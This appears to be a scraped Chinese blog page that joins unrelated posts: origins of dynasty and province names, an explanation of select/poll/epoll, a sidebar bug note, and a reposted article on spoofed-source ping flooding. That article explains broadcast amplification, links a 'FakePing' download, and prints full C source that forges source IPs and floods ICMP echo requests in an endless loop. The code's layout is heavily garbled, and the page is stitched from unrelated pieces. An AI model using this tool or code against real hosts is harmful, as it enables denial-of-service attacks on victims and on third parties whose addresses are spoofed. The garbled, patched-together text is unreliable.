中国十八个朝代名称的来历

中国历史悠久,朝代更零星纷繁。每朝的创建者要首手办的第一件事就是确立国号(朝代名称)。国号就是一个国家的称号。名不正言不顺,确立了国号就名正了,代表一个新的国朝从此诞生。同时这也是有说法的:《史记·五帝本纪》曰:“自黄帝至舜禹,皆同姓而异其国号,以章明德。”

那么国号由什么决定呢?一般来说大致有五个来由:由部族、部落联盟的名称而来,来自创建者原有卦号、爵位;源于创建者原始所或政权统治的区域;源于宗族关系;寓意吉祥。

接下来来看看中国历史上具体的国号及其由来:

1 夏:

据传禹曾受封于夏伯,因用以称其政权为“夏”。另据历史学家范文澜先生说,禹的儿子启西迁大夏(山西南部汾浍一带)后,才称“夏”。

2 商:

相传商(今河南商丘南)的始祖契曾帮助禹治水有功而受卦于商,以后就以“商”来称其部落(或部族)。汤灭夏后,就以“商”作为国名。后盘庚迁殷(今河南安阳西北)后,又以“殷”或“殷商”并称。

3 周:

周部落到古公亶父时,迁居于周原(今陕西岐山)。武王灭殷以后,就以“周”为朝代名。周前期建都于镐(今陕西西安西南),后来平王东迁洛邑(今河南洛阳),因在镐的东方,就有“西周”和“东周”的称号。

4 秦:

据《史记》记载,本为古部落,其首领非子为周孝王养马有成绩,被周孝王赐姓为“嬴”,并赐给了一小块土地(今甘肃天水县,另说是陇西谷名)。后来襄又救周有功被封为诸侯,秦始皇统一六国,始建秦国。

5 汉:

项羽封刘邦为汉王,以后刘邦击败项羽,统一中国,国号称“汉”。汉朝前期都长安,后期都洛阳,故从都城上有“西汉”和“东汉”,从时间上有“前汉”和“后汉”之分。

6 魏:

汉献帝曾封曹操为“魏公”、“魏王”爵位,曹丕代汉后便称“魏”。以皇室姓曹,历史上又称“曹魏”。

7 蜀汉:

刘备以四川为活动地区,蜀指四川,蜀汉作为汉朝的延续,以“汉”为政权名。历史上也称“蜀汉”。汉指东汉的继续。

8 吴:

孙权活动于长江下游一带,历史上曾建吴国,曹魏曾封孙权为“吴王”,故史称“孙吴”;又以地位在东,也称“东吴”。

9 晋:

司马昭逼魏帝卦他为“晋公”,灭蜀后进爵为晋王。后来他的儿子司炎继承他的爵位,逼令魏帝退位,自立为皇帝,国号“晋”。

10 隋:

隋文帝杨坚之父杨忠,曾被北周封为“随国公”。隋文帝后袭用此卦爵,称为“随朝”。他认为随有走的意思,恐不祥改为“隋”。

     11 唐:

唐高祖李渊的祖父李虎,佐周有功,被追封为“唐国公”,爵位传至李渊。太原起兵后,李渊称“唐王”,后废杨侑建唐朝。

12 辽:

辽原称“契丹”,改“辽”是因居于辽河上游之故。

13 宋:
后周恭帝继位后,命赵匡胤为归德节度史,归德军驻宋州(今河南商丘),赵匡胤为宋州节度使。故陈桥兵变后,发迹在宋州,国号曰“宋”。

14 西夏:
拓拔思恭占据夏州(今山西横山县),建国时以夏州得名,称“大夏”。因其在西方,宋人称“西夏”。

15 金:

金都城上京会宁(今黑龙江阿城南),位于按出虎水(今阿什河),相传其水产金,女真语“金”为“按出虎”。

16 元:

据《元史》记载:“元”的命名,是元世祖忽必烈定的。是取《易经》上“大哉乾元”句中的“元”,有大、首等意思。但也有人认为与蒙古人的风俗与图腾有关,有的认为与佛教有关。

17 明:

朱元璋是元末起义军之一,是继承郭子兴而发展起来的,郭子兴属于白莲教组织。白莲教宣称“黑暗即将过去,光明将要到来”,借以鼓舞人民反对黑暗的元朝统治。所以又称“光明教”。白莲教的首领韩山童称“明王”(他的儿子韩林儿称“小明王”),都体现其教义宗旨。朱元璋不仅曾经信仰白莲教,而且承认自己是白莲教起义军的一支(他曾为小明王左副元帅)。朱元璋取得政权后,国号称“明”。

18 清:

满族是女真族的一支。女真族在北宋时建立金国。明末女真势力复强,重建金国(后金)。后金为了向外扩展,割断了同明朝的臣属关系,清太宗皇太极把“女真”改为“满州”,把“金”改为“清”。在宋时女真人受制于契丹人,他代针对“辽”字在契丹语中是“铁”的意思,因此命名“金”,表示比铁更坚强有力,可以压倒“辽”。“金”改“清”的原因,史学家有不同意见,有人认为是皇太极要避免引起尖锐的矛盾。

select 、poll、epoll的区别


select()系统调用提供一个机制来实现同步多元I/O:

#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
            
int select (int n,
fd_set *readfds,

fd_set *writefds,

fd_set *exceptfds,

struct timeval *timeout);
FD_CLR(int fd, fd_set *set);

FD_ISSET(int fd, fd_set *set);

FD_SET(int fd, fd_set *set);

FD_ZERO(fd_set *set);

调用select()将阻塞,直到指定的文件描述符准备好执行I/O,或者可选参数timeout指定的时间已经过去。
监视的文件描述符分为三类set,每一种对应等待不同的事件。readfds中列出的文件描述符被监视是否有数据可供读取(如果读取操作完成则不会阻 塞)。writefds中列出的文件描述符则被监视是否写入操作完成而不阻塞。最后,exceptfds中列出的文件描述符则被监视是否发生异常,或者无 法控制的数据是否可用(这些状态仅仅应用于套接字)。这三类set可以是NULL,这种情况下select()不监视这一类事件。
select()成功返回时,每组set都被修改以使它只包含准备好I/O的文件描述符。例如,假设有两个文件描述符,值分别是7和9,被放在 readfds中。当select()返回时,如果7仍然在set中,则这个文件描述符已经准备好被读取而不会阻塞。如果9已经不在set中,则读取它将 可能会阻塞(我说可能是因为数据可能正好在select返回后就可用,这种情况下,下一次调用select()将返回文件描述符准备好读取)。
第一个参数n,等于所有set中最大的那个文件描述符的值加1。因此,select()的调用者负责检查哪个文件描述符拥有最大值,并且把这个值加1再传递给第一个参数。
timeout参数是一个指向timeval结构体的指针,timeval定义如下:

    

        

            

        

    

#include <sys/time.h>
            struct timeval {
            long tv_sec; /* seconds */
            long tv_usec; /* 10E-6 second */
            };


如果这个参数不是NULL,则即使没有文件描述符准备好I/O,select()也会在经过tv_sec秒和tv_usec微秒后返回。当 select()返回时,timeout参数的状态在不同的系统中是未定义的,因此每次调用select()之前必须重新初始化timeout和文件描述 符set。实际上,当前版本的Linux会自动修改timeout参数,设置它的值为剩余时间。因此,如果timeout被设置为5秒,然后在文件描述符 准备好之前经过了3秒,则这一次调用select()返回时tv_sec将变为2。
如果timeout中的两个值都设置为0,则调用select()将立即返回,报告调用时所有未决的事件,但不等待任何随后的事件。
文件描述符set不会直接操作,一般使用几个助手宏来管理。这允许Unix系统以自己喜欢的方式来实现文件描述符set。但大多数系统都简单地实现set为位数组。FD_ZERO移除指定set中的所有文件描述符。每一次调用select()之前都应该先调用它。
fd_set writefds;
FD_ZERO(&writefds);

FD_SET添加一个文件描述符到指定的set中,FD_CLR则从指定的set中移除一个文件描述符:
FD_SET(fd, &writefds); /* add ‘fd’ to the set */
FD_CLR(fd, &writefds); /* oops, remove ‘fd’ from the set */

设计良好的代码应该永远不使用FD_CLR,而且实际情况中它也确实很少被使用。
FD_ISSET测试一个文件描述符是否指定set的一部分。如果文件描述符在set中则返回一个非0整数,不在则返回0。FD_ISSET在调用select()返回之后使用,测试指定的文件描述符是否准备好相关动作:
if (FD_ISSET(fd, &readfds))
/* ‘fd’ is readable without blocking! */

    因为文件描述符set是静态创建的,它们对文件描述符的最大数目强加了一个限制,能够放进set中的最大文件描述符的值由FD_SETSIZE指定。在Linux中,这个值是1024。本章后面我们还将看到这个限制的衍生物。
返回值和错误代码
select()成功时返回准备好I/O的文件描述符数目,包括所有三个set。如果提供了timeout,返回值可能是0;错误时返回-1,并且设置errno为下面几个值之一:
EBADF
给某个set提供了无效文件描述符。
EINTR
等待时捕获到信号,可以重新发起调用。
EINVAL
参数n为负数,或者指定的timeout非法。
ENOMEM
不够可用内存来完成请求。
————————————————————————————————————–

poll()系统调用是System V的多元I/O解决方案。它解决了select()的几个不足,尽管select()仍然经常使用(多数还是出于习惯,或者打着可移植的名义):

    

        

            

        

    

#include <sys/poll.h>
            int poll (struct pollfd *fds, unsigned int nfds, int timeout);


和select()不一样,poll()没有使用低效的三个基于位的文件描述符set,而是采用了一个单独的结构体pollfd数组,由fds指针指向这个组。pollfd结构体定义如下:

    

        

            

        

    

#include <sys/poll.h>
            
            struct pollfd {
            int fd; /* file descriptor */
            short events; /* requested events to watch */
            short revents; /* returned events witnessed */
            };


每一个pollfd结构体指定了一个被监视的文件描述符,可以传递多个结构体,指示poll()监视多个文件描述符。每个结构体的events域是监视该 文件描述符的事件掩码,由用户来设置这个域。revents域是文件描述符的操作结果事件掩码。内核在调用返回时设置这个域。events域中请求的任何 事件都可能在revents域中返回。合法的事件如下:
POLLIN
有数据可读。
POLLRDNORM
有普通数据可读。
POLLRDBAND
有优先数据可读。
POLLPRI
有紧迫数据可读。
POLLOUT
写数据不会导致阻塞。
POLLWRNORM
写普通数据不会导致阻塞。
POLLWRBAND
写优先数据不会导致阻塞。
POLLMSG
SIGPOLL消息可用。

此外,revents域中还可能返回下列事件:
POLLER
指定的文件描述符发生错误。
POLLHUP
指定的文件描述符挂起事件。
POLLNVAL
指定的文件描述符非法。

这些事件在events域中无意义,因为它们在合适的时候总是会从revents中返回。使用poll()和select()不一样,你不需要显式地请求异常情况报告。
POLLIN | POLLPRI等价于select()的读事件,POLLOUT | POLLWRBAND等价于select()的写事件。POLLIN等价于POLLRDNORM | POLLRDBAND,而POLLOUT则等价于POLLWRNORM。
例如,要同时监视一个文件描述符是否可读和可写,我们可以设置events为POLLIN | POLLOUT。在poll返回时,我们可以检查revents中的标志,对应于文件描述符请求的events结构体。如果POLLIN事件被设置,则文 件描述符可以被读取而不阻塞。如果POLLOUT被设置,则文件描述符可以写入而不导致阻塞。这些标志并不是互斥的:它们可能被同时设置,表示这个文件描 述符的读取和写入操作都会正常返回而不阻塞。
timeout参数指定等待的毫秒数,无论I/O是否准备好,poll都会返回。timeout指定为负数值表示无限超时;timeout为0指示 poll调用立即返回并列出准备好I/O的文件描述符,但并不等待其它的事件。这种情况下,poll()就像它的名字那样,一旦选举出来,立即返回。
返回值和错误代码
成功时,poll()返回结构体中revents域不为0的文件描述符个数;如果在超时前没有任何事件发生,poll()返回0;失败时,poll()返回-1,并设置errno为下列值之一:
EBADF
一个或多个结构体中指定的文件描述符无效。
EFAULT
fds指针指向的地址超出进程的地址空间。
EINTR
请求的事件之前产生一个信号,调用可以重新发起。
EINVAL
nfds参数超出PLIMIT_NOFILE值。
ENOMEM
可用内存不足,无法完成请求。
————————————————————————————————————–
以上内容来自《OReilly.Linux.System.Programming – Talking.Directly.to.the.Kernel.and.C.Library.2007》
————————————————————————————————————–
  

epoll的优点:
1.支持一个进程打开大数目的socket描述符(FD)
select 最不能忍受的是一个进程所打开的FD是有一定限制的,由FD_SETSIZE设置,默认值是2048。对于那些需要支持的上万连接数目的IM服务器来说显 然太少了。这时候你一是可以选择修改这个宏然后重新编译内核,不过资料也同时指出这样会带来网络效率的下降,二是可以选择多进程的解决方案(传统的 Apache方案),不过虽然linux上面创建进程的代价比较小,但仍旧是不可忽视的,加上进程间数据同步远比不上线程间同步的高效,所以也不是一种完 美的方案。不过 epoll则没有这个限制,它所支持的FD上限是最大可以打开文件的数目,这个数字一般远大于2048,举个例子,在1GB内存的机器上大约是10万左 右,具体数目可以cat /proc/sys/fs/file-max察看,一般来说这个数目和系统内存关系很大。

2.IO效率不随FD数目增加而线性下降
传统的select/poll另一个致命弱点就是当你拥有一个很大的socket集合,不过由于网络延时,任一时间只有部分的socket是"活跃"的, 但是select/poll每次调用都会线性扫描全部的集合,导致效率呈现线性下降。但是epoll不存在这个问题,它只会对"活跃"的socket进行 操作—这是因为在内核实现中epoll是根据每个fd上面的callback函数实现的。那么,只有"活跃"的socket才会主动的去调用 callback函数,其他idle状态socket则不会,在这点上,epoll实现了一个"伪"AIO,因为这时候推动力在os内核。在一些 benchmark中,如果所有的socket基本上都是活跃的—比如一个高速LAN环境,epoll并不比select/poll有什么效率,相 反,如果过多使用epoll_ctl,效率相比还有稍微的下降。但是一旦使用idle connections模拟WAN环境,epoll的效率就远在select/poll之上了。

3.使用mmap加速内核与用户空间的消息传递。
这点实际上涉及到epoll的具体实现了。无论是select,poll还是epoll都需要内核把FD消息通知给用户空间,如何避免不必要的内存拷贝就 很重要,在这点上,epoll是通过内核于用户空间mmap同一块内存实现的。而如果你想我一样从2.5内核就关注epoll的话,一定不会忘记手工 mmap这一步的。

4.内核微调
这一点其实不算epoll的优点了,而是整个linux平台的优点。也许你可以怀疑linux平台,但是你无法回避linux平台赋予你微调内核的能力。 比如,内核TCP/IP协议栈使用内存池管理sk_buff结构,那么可以在运行时期动态调整这个内存pool(skb_head_pool)的大小 — 通过echo XXXX>/proc/sys/net/core/hot_list_length完成。再比如listen函数的第2个参数(TCP完成3次握手 的数据包队列长度),也可以根据你平台内存大小动态调整。更甚至在一个数据包面数目巨大但同时每个数据包本身大小却很小的特殊系统上尝试最新的NAPI网 卡驱动架构。

相关参考:http://frenchmay.javaeye.com/blog/353105

一个“-” 与 两个“-” 的区别

首先,本文的标题 没有将 两个“-” 写成 “–” ,是因为问题就出现在 “–” 上,如果我的标题里面出现 “–” ,侧边栏里面的最新日志里面就会出现 “–” ,这样侧边栏就不能正常显示了。      

不知道从什么时候开始,我的blog在firefox下,侧边栏就显示异常了,我以为是我用的模板在Firefox下不太兼容,所以一直也没有在意,今天就想换个模板,找了半天,没找见个好一些的;突然想起张宴用的也是这个模板,何不看看他的在Firefox下是否工作正常呢?用Firefox打开张宴的blog,一点问题也没有,就怀疑是我程序的问题了,试图用firebug调试了一下,没有任何效果,后来用FireBug仔细观察了一下,发现div的结构乱了,现象可能是侧边栏里面可能某个地方的html写错了,我就试图去调试了一下;

1. 通过去掉一下栏目来检查是哪个栏目出的问题,结果发现是“链接”部分的问题
2. 通过关闭某个链接来检查是哪个链接出的问题,结果发现时vim–syntax 部分出的问题

但是vim–syntax里面也没有特殊的东西,唯一特殊的也就是“–”了,试着将“–” 修改为“-”,还果然好了,现在已经夜里2:30了,我不想深究了,反正是好了,目前先这样子吧!

问题是解决了,但是没有查出元凶,是在有些遗憾!!!

伪装IP地址的洪水Ping攻击

伪装IP地址的洪水Ping攻击
最近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。

  我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如 win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈)

  正常情况下,Ping的流程是这样的:

  主机A发送ICMP 8,0报文给主机B

  主机B回送ICMp 0,0报文给主机A

  因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去

  回应主机C,结构如下:

   伪装为主机C 错误的回复
主机A———————>主机B——————>主机C

  这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。

上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量 unix主机的局域网内测试。

  说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量)
 

  伪装为主机C 所有广播主机都会错误的回复
主机A———————>广播地址=========================>主机C

  我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载。

  使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标。

源码公布如下:

typedef struct _iphdr //定义IP首部 

  unsigned char h_verlen
//4位首部长度,4位IP版本号 
  unsigned char tos
//8位服务类型TOS 
  unsigned short total_len
//16位总长度(字节) 
  unsigned short ident
//16位标识 
  unsigned short frag_and_flags
//3位标志位 
  unsigned char ttl
//8位生存时间 TTL 
  unsigned char proto
//8位协议 (TCP, UDP 或其他) 
  unsigned short checksum
//16位IP首部校验和 
  unsigned int sourceIP
//32位源IP地址 
  unsigned int destIP
//32位目的IP地址 
}IP_HEADER

// 定义ICMP首部 
typedef struct _ihdr 

  BYTE i_type
//8位类型 
  BYTE i_code
//8位代码 
  USHORT i_cksum
//16位校验和 
  USHORT i_id
//识别号(一般用进程号作为识别号) 
  USHORT i_seq
//报文序列号 
  ULONG timestamp
//时间戳 
}ICMP_HEADER

//CheckSum:计算校验和的子函数 
USHORT checksum(USHORT *bufferint size


  unsigned long cksum=0

  while(size >1

   

     cksum+=*buffer
++; 
     size -=sizeof(USHORT
); 
   

  if(size 

   

     cksum += *(UCHAR*)buffer

   

  cksum = (cksum >> 16) + (cksum 0xffff
); 
  cksum += (cksum >>16
); 
  return (USHORT)(~cksum
); 

//FakePing主函数 
int main(int argcchar **argv


  int datasize,ErrorCode,counter,flag

  int TimeOut=2000SendSEQ=0PacketSize=32

  char SendBuf[65535]={0
}; 
  WSADATA wsaData

  SOCKET SockRaw=(SOCKET)NULL

  struct sockaddr_in DestAddr

  IP_

HEADER ip_header
  ICMP_HEADER icmp_header

  char FakeSourceIp[20],DestIp[20
]; 

//接受命令行参数 
  if (argc<3

   

     printf(
"FakePing by Shotgun 
"
); 
     printf(
" This program can do Ping-Flooding from a FakeIP 
"
); 
     printf(
" Using a BroadCast IP as the FakeIP will enhance the effect 
"
); 
     printf(
"Email: 
"
); 
     printf(
" Shotgun@Xici.Net 
"
); 
     printf(
"HomePage: 
"
); 
     printf(
" http://It.Xici.Net 
"
); 
     printf(
" http://www.Patching.Net 
"
); 
     printf(
"USAGE: 
FakePing.exe FakeSourceIp DestinationIp [PacketSize] 
"
); 
     printf(
"Example: 
"
); 
     printf(
" FakePing.exe 192.168.15.23 192.168.15.255 
"
); 
     printf(
" FakePing.exe 192.168.15.23 192.168.15.200 6400 
"
); 
     exit(0
); 
   

  strcpy(FakeSourceIp,argv[1
]); 
  strcpy(DestIp,argv[2
]); 
  if (argc>3PacketSize=atoi(argv[3
]); 
  if (PacketSize>60000

   

     printf(
"Error! Packet size too big, must <60K 
"
); 
     exit(0
); 
   

  printf(
"Now Fake %s Ping %s using Packet size=%d bytes 
"

  FakeSourceIpDestIpPacketSize
); 
  printf(
" Ctrl+C to Quit 
"
); 
//初始化SOCK_RAW 
  if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0

   

     fprintf(stderr,
"WSAStartup failed: %d 
"
,ErrorCode
); 
     ExitProcess(STATUS_FAILED
); 
   }&
n

bsp

  if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET
   

     fprintf(stderr,
"WSASocket() failed: %d 
"
,WSAGetLastError
()); 
     ExitProcess(STATUS_FAILED
); 
   

  flag=TRUE

//设置IP_HDRINCL以自己填充IP首部 
  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof
(int)); 
  if(ErrorCode==SOCKET_ERROR

   printf(
"Set IP_HDRINCL Error! 
"
); 
  __try 

//设置发送超时 
  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut
)); 
  if (ErrorCode==SOCKET_ERROR

   

     fprintf(stderr,
"Failed to set send TimeOut: %d 
"
,WSAGetLastError
()); 
     __leave

   

  memset(&DestAddr,0,sizeof(DestAddr
)); 
  DestAddr.sin_family=AF_INET

  DestAddr.sin_addr.s_addr=inet_addr(DestIp
); 

//填充IP首部 
  ip_header.h_verlen=(4<<sizeof(ip_header)/sizeof(unsigned long)); 
//高四位IP版本号,低四位首部长度 
  ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); 
//16位总长度(字节) 
  ip_header.ident=1

//16位标识 
  ip_header.frag_and_flags=0

//3位标志位 
  ip_header.ttl=128

//8位生存时间 TTL 
  ip_header.proto=IPPROTO_ICMP

//8位协议 (TCP, UDP 或其他) 
  ip_header.checksum=0

//16位IP首部校验和 
  ip_header.sourceIP=inet_addr(FakeSourceIp); 
//32 

位源IP地址 
  ip_header
.destIP=inet_addr(DestIp
); 

//32位目的IP地址 
//填充ICMP首部 
  icmp_header.i_type 8

  icmp_header.i_code 0

  icmp_he

ader.i_cksum 0
  icmp_header.i_id 2

  icmp_header.timestamp 999

  icmp_header.i_seq=999

  memcpy(SendBuf, &icmp_headersizeof(icmp_header
)); 
  memset(SendBuf+sizeof(icmp_header), ‘E’PacketSize
); 
  icmp_header.i_cksum checksum((USHORT *)SendBufsizeof(icmp_header)+PacketSize
); 
  memcpy(SendBuf,&ip_header,sizeof(ip_header
)); 
  memcpy(SendBuf+sizeof(ip_header), &icmp_headersizeof(icmp_header
)); 
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), ‘E’PacketSize
); 
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize01
); 
//计算发送缓冲区的大小 
  datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize

  ip_header.checksum=checksum((USHORT *)SendBuf,datasize
); 

//填充发送缓冲区 
  memcpy(SendBuf,&ip_headersizeof(ip_header
)); 
  while(1

   

    Sleep(100
); 
    printf("."
); 
    for(counter=0;counter<1024;counter
++) 
    

//发送ICMP报文 
     ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr
)); 
     if (ErrorCode==SOCKET_ERRORprintf(

Send Error:%d 
"
,GetLastError
()); 
    

   

}
//End of try 

 __finally 
  

   if (SockRaw != INVALID_SOCKETclosesocket(SockRaw
); 
   WSACleanup
(); 
  

 return 0


  撰写本文的目的不是号召大家用FakePing工具去攻击美国站点,只是想略微展示一下用技术能做到什么蛮力做不到的东西。如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮,FakePing也只能算得上是火枪而已,而美国已经研制出了航空母舰(一个操作系统的复杂度完全可以和航母媲美),难道用大刀、长枪、火枪去对抗航母?这样是很感人,也很悲壮,但是没有别的方法了?我们不能回去研制自己的战列舰?要是这次什么红客大战中二炮的专家们也出来参加Ping, 要是西昌的技术人员也去参加黑主页运动,我们不亡国才怪!
=========================
文章类型:转载

中国各一级行政区名称及简称的来历

1、北京(京)
  北京有据可查的第一个名称为“蓟”,是春秋战国时燕国的都城。辽金是将北京作为陪都,称为燕京。金灭辽后,迁都于此,称中都。元代改称大都。明成祖朱棣从南京迁都于此,改称“北京”。名称一直沿用至今。1949年设为直辖市。
  取全称中的“京”字作为简称。
  2、天津(津)
  唐宋以前,天津称为直沽。金代形成集市称“直沽寨”。元代设津海镇,这是天津建城的开始。明永乐2年(1404年)筑城设卫,始称天津卫,取“天子经过的渡口”之意。1949年设为直辖市。
  取全称中的“津”字作为简称。
  3、上海(沪)
  上海之称始于宋代,当时上海已成为我国的一个新兴贸易港口,那时的上海地区有十八大浦,其中一条叫上海浦,它的西岸设有上海镇。1292年,上海改镇为县。这是上海这一名称的由来。1949年,上海设为直辖市。
  古时,上海地区的渔民发明了一种竹编的捕鱼工具“扈”,当时还没有上海这一地名,因此,这一带被称为“沪渎”,故上海简称“沪”。春秋战国时上海是楚春申君黄歇封邑的一部分,故上海别称“申”。
  4、重庆(渝)
  重庆古称“巴”。秦时称江州。隋称渝州。北宋称恭州。重庆之名始于1190年,因南宋光宗赵敦先封恭王,后登帝位,遂将恭州升为重庆府,取“双重喜庆”之意。1997年,重庆设为直辖市。
  隋时,嘉陵江称渝水,重庆因位于嘉陵江畔而置渝州,故重庆简称“渝”。
  1、内蒙古自治区(内蒙古)
  蒙古原为部落名,始见于唐代记载。1206年,成吉思汗统一蒙古各部,建立蒙古国。元灭后,蒙古族退居塞北。明清形成内、外蒙古之称。晚清以后,泛指大漠以南、长城以北、东起哲里木盟、西至套西厄鲁特所以盟旗为内蒙古。
  取全称中“内蒙古”三字作为简称。
  2、维吾尔自治区(新)
  辖区古称西域。西汉设西域都护府。东汉魏晋改都护为长史。唐代设伊、西、庭三州和安西、北庭两个都护府。17世纪中叶以后,清朝平定了准噶尔部叛乱,在天山南北设伊犁将军。清光绪10年(1884年),改为新疆省,意为“故土新归”。1955年,设新疆维吾尔自治区。
  取全称中的“新”字作为简称。
  3、西藏自治区(藏)
  元时称西藏地区为“乌思藏”。“乌思”是藏语“中央”的意思,“藏”是“圣洁”的意思。明代设立两个都指挥使司。清代称西藏东部为“康”(喀木),中部为“卫”,西部日喀则一带为“藏”(包括阿里),因其在中国西部,故称西藏。1965年设立西藏自治区。取全称中的“藏”字作为简称。另一说认为简称源于故称“乌思藏”。
  4、宁夏回族自治区(宁)
  公元5世纪处,匈奴贵族赫连勃勃自以为是夏后氏后裔,故将建立的割据政权定国号为 “夏”。宋代,党项族拓拔氏首领李元昊称帝,定都兴庆府(今银川),立国号“夏”,创立文字,建西夏王朝。13世纪,元灭西夏,取“平定西夏永远安宁”之意,在这里设宁夏行省,始有宁夏之名。1958年设宁夏回族自治区。
  取全称中的“宁”字作为简称。
  5、广西壮族自治区(桂)
  宋设广南西路,简称广西路,“广西”一名产生。元设广西两江道。明设广西省。1958年设广西僮族自治区,1965年改为广西壮族自治区。
  因自宋至清,广西的行政中心在桂州(或桂林府),故广西简称“桂”。另一说认为广西秦时曾设桂林、象郡、南海三郡,而历史上广西2/3地域属桂林郡,故广西简称“桂”。
  1、香港特别行政区(港)
  宋代以前,这里是海上渔民捕鱼歇息的地方。宋元以后,岛上有个小村,叫“香港村“,为转运南粤香料的集散港,香港因此得名。1997年成立香港特别行政区。
  取全称中的“港”字作为简称。
  2、澳门特别行政区(澳)
  名字最早记录于明朝史书,叫做“蚝镜”(濠镜),意为海湾如明镜,盛产“蚝”。后又称做“澳”,即船只停航寄泊的地方,故称“蚝镜澳”,因隶属广东香山,亦称“香山澳”。“门”字的来历有多种说法,一说是本地内港的妈祖庙,隔海同湾仔的银坑相望,形成的海峡象门;另一说是本地南面的氹仔、小横琴、路环、大横琴四岛离立对峙,海水贯流其中呈十字门状;再一说是本地南台山(妈阁庙山)和北台山(莲峰山)相封成门。总之,既是澳,又是门,故曰澳门。 1999年成立澳门特别行政区。
  取全称中的“澳”字作为简称。
  1、黑龙江省(黑)
  1671年为抵御沙俄东侵,清政府在黑龙江沿岸修筑黑龙江城(黑河旧城),设置黑龙江将军,管辖黑龙江流域。1907年改为黑龙江省。取全称中的“黑”字作为简称。一说简称源于河流黑龙江。
  2、吉林省(吉)
  吉林一名源于“吉林乌拉”,满语意为“沿松花江的城市”。1673年建城。1676年置吉林将军。1907年将其辖区改称吉林省。
  取全称中的“吉”字作为简称。
  3、辽宁省(辽)
  秦汉魏晋时代,在辽河以东设辽东郡,以西设辽西郡。北宋时,在今河北、辽宁一带,契丹族建立辽国。辽金时代设置辽阳府。元设辽阳行省。明设辽东都司。清设辽东将军。后因辽河流域为清朝发源地,取“奉天承运”之意,改为奉天省。1929年,取“辽河流域永远安宁”之意,改称辽宁省。
  取全称中的“辽”字作为简称。一说因境内有辽河,故简称“辽”。
  4、河北省(冀)
  战国时,黄河以北的齐国土地称为河北。汉设河北县。唐设河北道。辖区与今有出入。1928年设河北省。
  辖区相当于我国最早的地理著作《禹贡》中的冀州,故简称“冀”。
  5、山西省(晋)
  战国至秦汉时,崤山、函谷关以西的地区称为山西。元时,称太行山以西为山西,设河东山西道宣慰司,这是山西作为政区名称的开始。明处设山西省。
  辖区为春秋时晋国地,故简称“晋”。
  6、青海省(青)
  因境内有青海湖,故得名青海省。据《水经注》记载,早在公元前5世纪时,这里就称青海了,也有写作西海的。唐以后多以青海为正名。1928年设青海省。
  取全称中的“青”字作为简称。一说认为因境内有青海湖故简称“青”。
  7、山东省(鲁)
  战国至秦汉时,崤山、函谷关以东的地区称为山东。金时,在开封以东地区设山东东路、山东西路,这是山东作为政区名称的开始。清初设山东省。
  辖区为春秋时鲁国地,故简称“鲁”。
  8、河南省(豫)古称
  古称黄河以南地区为河南。汉设豫州部。唐置河南道。宋置河南路。元置河南江北行省。明初设河南省。
  辖区相当于《禹贡》中的豫州,故简称“豫”。还有一种说法,河南简称“豫”甲骨文的字形是一个人牵着一头大象,引申意就是出产大象的地方。在殷墟的殉葬坑里,有大象的遗骸。
  9、江苏省(苏)
  清康熙6年(1667年)设江苏省,取两江总督驻所江宁(今南京市)和巡抚驻所苏州(今苏州市)两府首字组成江苏省。
  取全称中的“苏”字作为简称。
  10、安徽省(皖)
  1667年,取当时的政治中心安庆(今安庆市)和经济都会徽州(今歙县)二府首字组成安徽省。
